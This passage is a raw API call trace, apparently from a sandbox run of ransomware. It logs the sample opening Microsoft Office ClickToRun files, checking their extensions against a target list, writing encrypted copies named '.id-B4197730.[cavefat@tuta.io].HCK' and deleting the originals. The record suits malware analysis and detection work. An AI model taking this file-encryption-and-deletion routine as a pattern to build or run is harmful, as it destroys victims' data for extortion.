dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0162.358] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0162.358] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0162.358] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\concrt140.dll.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0162.358] GetLastError () returned 0x0 [0162.358] ReadFile (in: hFile=0x2ec, lpBuffer=0x35e8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x35e8020*, lpNumberOfBytesRead=0x2acfecc*=0x514a8, lpOverlapped=0x0) returned 1 [0162.367] WriteFile (in: hFile=0x374, lpBuffer=0x35e8020*, nNumberOfBytesToWrite=0x514b0, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x35e8020*, lpNumberOfBytesWritten=0x2acfc94*=0x514b0, lpOverlapped=0x0) returned 1 [0162.377] ReadFile (in: hFile=0x2ec, lpBuffer=0x35e8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x35e8020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1 [0162.377] WriteFile (in: hFile=0x374, lpBuffer=0x35e8020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x35e8020*, lpNumberOfBytesWritten=0x2acfc94*=0xee, lpOverlapped=0x0) returned 1 [0162.377] SetEndOfFile (hFile=0x374) returned 1 [0162.377] CloseHandle (hObject=0x374) returned 1 [0162.836] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0162.836] SetEndOfFile (hFile=0x2ec) returned 1 [0162.862] CloseHandle (hObject=0x2ec) returned 1 [0162.862] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0162.862] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\concrt140.dll")) returned 1 [0162.863] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll") returned 71 [0162.863] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll") returned 71 [0162.863] lstrlenW (lpString=".doc") returned 4 [0162.863] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0162.863] lstrlenW (lpString=".docx") returned 5 [0162.863] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0162.863] lstrlenW (lpString=".pdf") returned 4 [0162.863] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0162.863] lstrlenW (lpString=".xls") returned 4 [0162.863] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0162.863] lstrlenW (lpString=".xlsx") returned 5 [0162.863] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0162.863] lstrlenW (lpString=".ppt") returned 4 [0162.863] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0162.863] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll") returned 71 [0162.863] lstrlenW (lpString=".zip") returned 4 [0162.863] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0162.863] lstrlenW (lpString=".rar") returned 4 [0162.863] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0162.863] lstrlenW (lpString=".bz2") returned 4 [0162.863] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0162.863] lstrlenW (lpString=".7z") returned 3 [0162.863] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0162.863] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll") returned 71 [0162.863] lstrlenW (lpString=".dbf") returned 4 [0162.863] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0162.863] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll") returned 71 [0162.863] lstrlenW (lpString=".1cd") returned 4 [0162.863] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0162.863] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll") returned 71 [0162.863] lstrlenW (lpString=".jpg") returned 4 [0162.863] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0162.863] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll") returned 71 [0162.863] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll") returned 71 [0162.863] lstrlenW (lpString=".doc") returned 4 [0162.863] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0162.863] lstrlenW (lpString=".docx") returned 5 [0162.864] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0162.864] lstrlenW (lpString=".pdf") returned 4 [0162.864] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0162.864] lstrlenW (lpString=".xls") returned 4 [0162.864] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0162.864] lstrlenW (lpString=".xlsx") returned 5 [0162.864] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0162.864] lstrlenW (lpString=".ppt") returned 4 [0162.864] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0162.864] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll") returned 71 [0162.864] lstrlenW (lpString=".zip") returned 4 [0162.864] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0162.864] lstrlenW (lpString=".rar") returned 4 [0162.864] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0162.864] lstrlenW (lpString=".bz2") returned 4 [0162.864] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0162.864] lstrlenW (lpString=".7z") returned 3 [0162.864] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0162.864] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll") returned 71 [0162.864] lstrlenW (lpString=".dbf") returned 4 [0162.864] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0162.864] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll") returned 71 [0162.864] lstrlenW (lpString=".1cd") returned 4 [0162.864] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0162.864] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll") returned 71 [0162.864] lstrlenW (lpString=".jpg") returned 4 [0162.864] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0162.864] lstrcmpiW (lpString1=".dll", lpString2=".HCK") returned -1 [0162.864] lstrlenW (lpString="mso30win32client.dll") returned 20 [0162.864] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0162.864] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=4677216) returned 1 [0162.864] CloseHandle (hObject=0x2ec) returned 1 [0162.864] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll")) returned 0x20 [0162.865] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0162.865] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll.id-b4197730.[cavefat@tuta.io].hck")) returned 1 [0162.865] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0162.865] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfc64 | out: lpNewFilePointer=0x0) returned 1 [0162.866] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfc24 | out: lpNewFilePointer=0x0) returned 1 [0162.866] ReadFile (in: hFile=0x2ec, lpBuffer=0x35e8058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2acfc30, lpOverlapped=0x0 | out: lpBuffer=0x35e8058*, lpNumberOfBytesRead=0x2acfc30*=0x40000, lpOverlapped=0x0) returned 1 [0162.869] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x17ca20, lpNewFilePointer=0x0, dwMoveMethod=0x2acfc24 | out: lpNewFilePointer=0x0) returned 1 [0162.869] ReadFile (in: hFile=0x2ec, lpBuffer=0x3628058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2acfc30, lpOverlapped=0x0 | out: lpBuffer=0x3628058*, lpNumberOfBytesRead=0x2acfc30*=0x40000, lpOverlapped=0x0) returned 1 [0162.881] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2acfc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0162.881] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x435e60, lpNewFilePointer=0x0, dwMoveMethod=0x2acfc24 | out: lpNewFilePointer=0x0) returned 1 [0162.881] ReadFile (in: hFile=0x2ec, lpBuffer=0x3668058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2acfc30, lpOverlapped=0x0 | out: lpBuffer=0x3668058*, lpNumberOfBytesRead=0x2acfc30*=0x40000, lpOverlapped=0x0) returned 1 [0162.908] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0162.908] WriteFile (in: hFile=0x2ec, lpBuffer=0x35e8020*, nNumberOfBytesToWrite=0xc0114, lpNumberOfBytesWritten=0x2acfca8, lpOverlapped=0x0 | out: lpBuffer=0x35e8020*, lpNumberOfBytesWritten=0x2acfca8*=0xc0114, lpOverlapped=0x0) returned 1 [0162.920] SetEndOfFile (hFile=0x2ec) returned 1 [0162.920] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x40000) returned 0x3e16020 [0162.923] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfc74 | out: lpNewFilePointer=0x0) returned 1 [0162.923] WriteFile (in: hFile=0x2ec, lpBuffer=0x3e16020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2acfc80, lpOverlapped=0x0 | out: lpBuffer=0x3e16020*, lpNumberOfBytesWritten=0x2acfc80*=0x40000, lpOverlapped=0x0) returned 1 [0162.924] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x17ca20, lpNewFilePointer=0x0, dwMoveMethod=0x2acfc74 | out: lpNewFilePointer=0x0) returned 1 [0162.924] WriteFile (in: hFile=0x2ec, lpBuffer=0x3e16020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2acfc80, lpOverlapped=0x0 | out: lpBuffer=0x3e16020*, lpNumberOfBytesWritten=0x2acfc80*=0x40000, lpOverlapped=0x0) returned 1 [0163.282] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x435e60, lpNewFilePointer=0x0, dwMoveMethod=0x2acfc74 | out: lpNewFilePointer=0x0) returned 1 [0163.282] WriteFile (in: hFile=0x2ec, lpBuffer=0x3e16020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2acfc80, lpOverlapped=0x0 | out: lpBuffer=0x3e16020*, lpNumberOfBytesWritten=0x2acfc80*=0x40000, lpOverlapped=0x0) returned 1 [0163.329] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x3e16020 | out: hHeap=0x6b0000) returned 1 [0163.331] CloseHandle (hObject=0x2ec) returned 1 [0164.013] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0164.014] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll") returned 78 [0164.014] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll") returned 78 [0164.014] lstrlenW (lpString=".doc") returned 4 [0164.014] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0164.014] lstrlenW (lpString=".docx") returned 5 [0164.014] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0164.014] lstrlenW (lpString=".pdf") returned 4 [0164.014] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0164.014] lstrlenW (lpString=".xls") returned 4 [0164.014] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0164.014] lstrlenW (lpString=".xlsx") returned 5 [0164.014] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0164.014] lstrlenW (lpString=".ppt") returned 4 [0164.014] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0164.014] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll") returned 78 [0164.014] lstrlenW (lpString=".zip") returned 4 [0164.014] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0164.014] lstrlenW (lpString=".rar") returned 4 [0164.014] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0164.014] lstrlenW (lpString=".bz2") returned 4 [0164.014] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0164.014] lstrlenW (lpString=".7z") returned 3 [0164.014] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0164.014] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll") returned 78 [0164.014] lstrlenW (lpString=".dbf") returned 4 [0164.014] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0164.014] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll") returned 78 [0164.014] lstrlenW (lpString=".1cd") returned 4 [0164.014] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0164.014] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll") returned 78 [0164.014] lstrlenW (lpString=".jpg") returned 4 [0164.014] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0164.014] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll") returned 78 [0164.014] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll") returned 78 [0164.014] lstrlenW (lpString=".doc") returned 4 [0164.014] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0164.014] lstrlenW (lpString=".docx") returned 5 [0164.014] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0164.014] lstrlenW (lpString=".pdf") returned 4 [0164.014] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0164.014] lstrlenW (lpString=".xls") returned 4 [0164.015] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0164.015] lstrlenW (lpString=".xlsx") returned 5 [0164.015] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0164.015] lstrlenW (lpString=".ppt") returned 4 [0164.015] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0164.015] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll") returned 78 [0164.015] lstrlenW (lpString=".zip") returned 4 [0164.015] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0164.015] lstrlenW (lpString=".rar") returned 4 [0164.015] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0164.015] lstrlenW (lpString=".bz2") returned 4 [0164.015] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0164.015] lstrlenW (lpString=".7z") returned 3 [0164.015] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0164.015] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll") returned 78 [0164.015] lstrlenW (lpString=".dbf") returned 4 [0164.015] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0164.015] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll") returned 78 [0164.015] lstrlenW (lpString=".1cd") returned 4 [0164.015] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0164.015] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll") returned 78 [0164.015] lstrlenW (lpString=".jpg") returned 4 [0164.015] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0164.015] lstrcmpiW (lpString1=".dll", lpString2=".HCK") returned -1 [0164.015] lstrlenW (lpString="msvcr120.dll") returned 12 [0164.015] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcr120.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0164.015] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=963240) returned 1 [0164.015] CloseHandle (hObject=0x2ec) returned 1 [0164.015] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcr120.dll")) returned 0x20 [0164.016] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcr120.dll.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0164.016] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcr120.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0164.016] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0164.016] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0164.016] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcr120.dll.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0164.016] GetLastError () returned 0x0 [0164.016] ReadFile (in: hFile=0x2ec, lpBuffer=0x35e8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x35e8020*, lpNumberOfBytesRead=0x2acfecc*=0xeb2a8, lpOverlapped=0x0) returned 1 [0164.035] WriteFile (in: hFile=0x394, lpBuffer=0x35e8020*, nNumberOfBytesToWrite=0xeb2b0, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x35e8020*, lpNumberOfBytesWritten=0x2acfc94*=0xeb2b0, lpOverlapped=0x0) returned 1 [0164.046] ReadFile (in: hFile=0x2ec, lpBuffer=0x35e8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x35e8020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1 [0164.046] WriteFile (in: hFile=0x394, lpBuffer=0x35e8020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x35e8020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1 [0164.046] SetEndOfFile (hFile=0x394) returned 1 [0164.046] CloseHandle (hObject=0x394) returned 1 [0164.047] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0164.047] SetEndOfFile (hFile=0x2ec) returned 1 [0164.052] CloseHandle (hObject=0x2ec) returned 1 [0164.052] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0164.053] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcr120.dll")) returned 1 [0164.053] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll") returned 70 [0164.053] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll") returned 70 [0164.053] lstrlenW (lpString=".doc") returned 4 [0164.053] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0164.053] lstrlenW (lpString=".docx") returned 5 [0164.053] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0164.053] lstrlenW (lpString=".pdf") returned 4 [0164.053] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0164.053] lstrlenW (lpString=".xls") returned 4 [0164.053] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0164.053] lstrlenW (lpString=".xlsx") returned 5 [0164.053] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0164.053] lstrlenW (lpString=".ppt") returned 4 [0164.053] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0164.053] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll") returned 70 [0164.053] lstrlenW (lpString=".zip") returned 4 [0164.053] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0164.053] lstrlenW (lpString=".rar") returned 4 [0164.053] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0164.053] lstrlenW (lpString=".bz2") returned 4 [0164.053] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0164.053] lstrlenW (lpString=".7z") returned 3 [0164.053] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0164.053] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll") returned 70 [0164.053] lstrlenW (lpString=".dbf") returned 4 [0164.053] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0164.053] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll") returned 70 [0164.053] lstrlenW (lpString=".1cd") returned 4 [0164.053] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0164.054] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll") returned 70 [0164.054] lstrlenW (lpString=".jpg") returned 4 [0164.054] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0164.054] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll") returned 70 [0164.054] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll") returned 70 [0164.054] lstrlenW (lpString=".doc") returned 4 [0164.054] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0164.054] lstrlenW (lpString=".docx") returned 5 [0164.054] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0164.054] lstrlenW (lpString=".pdf") returned 4 [0164.054] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0164.054] lstrlenW (lpString=".xls") returned 4 [0164.054] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0164.054] lstrlenW (lpString=".xlsx") returned 5 [0164.054] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0164.054] lstrlenW (lpString=".ppt") returned 4 [0164.054] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0164.054] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll") returned 70 [0164.054] lstrlenW (lpString=".zip") returned 4 [0164.054] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0164.054] lstrlenW (lpString=".rar") returned 4 [0164.054] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0164.054] lstrlenW (lpString=".bz2") returned 4 [0164.054] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0164.054] lstrlenW (lpString=".7z") returned 3 [0164.054] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0164.054] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll") returned 70 [0164.054] lstrlenW (lpString=".dbf") returned 4 [0164.054] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0164.054] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll") returned 70 [0164.054] lstrlenW (lpString=".1cd") returned 4 [0164.054] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0164.054] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll") returned 70 [0164.054] lstrlenW (lpString=".jpg") returned 4 [0164.054] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0164.054] lstrcmpiW (lpString1=".exe", lpString2=".HCK") returned -1 [0164.054] lstrlenW (lpString="OfficeC2RClient.exe") returned 19 [0164.054] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rclient.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0164.610] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=5967976) returned 1 [0164.610] CloseHandle (hObject=0x3ac) returned 1 [0164.610] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft 